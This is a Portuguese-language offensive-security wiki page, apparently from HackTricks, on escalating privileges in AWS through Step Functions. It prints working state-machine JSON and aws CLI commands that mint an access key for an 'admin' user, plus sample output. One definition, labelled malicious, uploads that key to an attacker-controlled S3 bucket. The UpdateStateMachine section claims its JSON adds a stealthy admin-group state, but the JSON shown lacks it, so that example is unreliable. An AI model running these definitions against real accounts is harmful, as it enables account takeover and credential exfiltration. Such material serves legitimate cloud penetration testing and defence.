AWS - Step Functions Privesc

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Step Functions

Para mais informações sobre este serviço AWS, consulte:

AWS - Step Functions Enum

Recursos de Task

Estas privilege escalation techniques vão requerer o uso de alguns AWS step function resources para executar as ações de privilege escalation desejadas.

Para verificar todas as ações possíveis, você pode acessar sua própria conta AWS, selecionar a ação que deseja usar e ver os parâmetros que ela está usando, como em:

Ou você também pode consultar a documentação da API AWS e verificar a documentação de cada ação:

states:TestState & iam:PassRole

Um atacante com as permissões states:TestState e iam:PassRole pode testar qualquer state e passar qualquer IAM role para ele sem criar ou atualizar uma state machine existente, potencialmente permitindo acesso não autorizado a outros serviços AWS com as permissões dessas roles. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de workflows até alteração de dados, vazamentos de dados, manipulação de recursos e privilege escalation.

bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Os exemplos a seguir mostram como testar um estado que cria uma chave de acesso para o usuário admin, aproveitando essas permissões e um role permissivo do ambiente AWS. Esse role permissivo deve ter alguma policy de alto privilégio associada a ele (por exemplo arn:aws:iam::aws:policy/AdministratorAccess) que permita que o state execute a ação iam:CreateAccessKey:

  • stateDefinition.json:
json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Comando executado para realizar a privesc:
bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Impacto Potencial: Execução e manipulação não autorizada de workflows e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Um atacante com states:CreateStateMachine e iam:PassRole seria capaz de criar uma state machine e atribuir a ela qualquer IAM role, permitindo acesso não autorizado a outros serviços AWS com as permissões da role. Em contraste com a técnica de privesc anterior (states:TestState & iam:PassRole), esta não executa por si só — você também precisará das permissões states:StartExecution ou states:StartSyncExecution (states:StartSyncExecution não está disponível para standard workflows, apenas para express state machines) para iniciar uma execução na state machine.

bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Os exemplos a seguir mostram como criar uma state machine que cria um access key para o usuário admin e exfiltra esse access key para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um role permissivo do ambiente AWS. Esse role permissivo deve ter qualquer policy de alto privilégio associada (por exemplo arn:aws:iam::aws:policy/AdministratorAccess) que permita à state machine executar as ações iam:CreateAccessKey & s3:putObject.

  • stateMachineDefinition.json:
json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Comando executado para criar a máquina de estados:
bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Comando executado para iniciar uma execução da máquina de estados criada anteriormente:
json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

warning

O bucket S3 controlado pelo atacante deve ter permissões para aceitar uma ação s3:PutObject da conta da vítima.

Impacto Potencial: Execução e manipulação não autorizadas de workflows e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.

states:UpdateStateMachine & (nem sempre necessário) iam:PassRole

Um atacante com a permissão states:UpdateStateMachine seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados furtivos adicionais que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo iniciar uma execução da máquina de estados, esse novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.

Dependendo de quão permissiva é a IAM Role associada à máquina de estados, um atacante enfrentaria 2 situações:

  1. Permissive IAM Role: Se a IAM Role associada à máquina de estados já for permissiva (por exemplo, se tiver anexada a policy arn:aws:iam::aws:policy/AdministratorAccess), então a permissão iam:PassRole não seria necessária para escalar privilégios, já que não seria preciso também atualizar a IAM Role — a definição da máquina de estados é suficiente.
  2. Not permissive IAM Role: Em contraste com o caso anterior, aqui o atacante também exigiria a permissão iam:PassRole, pois seria necessário associar uma IAM Role permissiva à máquina de estados além de modificar a definição da máquina de estados.
bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Os exemplos a seguir mostram como atualizar uma state machine legítima que apenas invoca uma HelloWorld Lambda function, a fim de adicionar um estado extra que adiciona o usuário unprivilegedUser ao Grupo IAM administrator. Dessa forma, quando um usuário legítimo iniciar uma execução da state machine atualizada, esse novo estado malicioso e furtivo será executado e a escalada de privilégios será bem-sucedida.

warning

Se a state machine não tiver um IAM Role permissivo associado, também será necessária a permissão iam:PassRole para atualizar o IAM Role, a fim de associar um IAM Role permissivo (por exemplo, um com a política arn:aws:iam::aws:policy/AdministratorAccess anexada).

json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Comando executado para atualizar a state machine legítima:
bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Impacto Potencial: Execução e manipulação não autorizadas de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks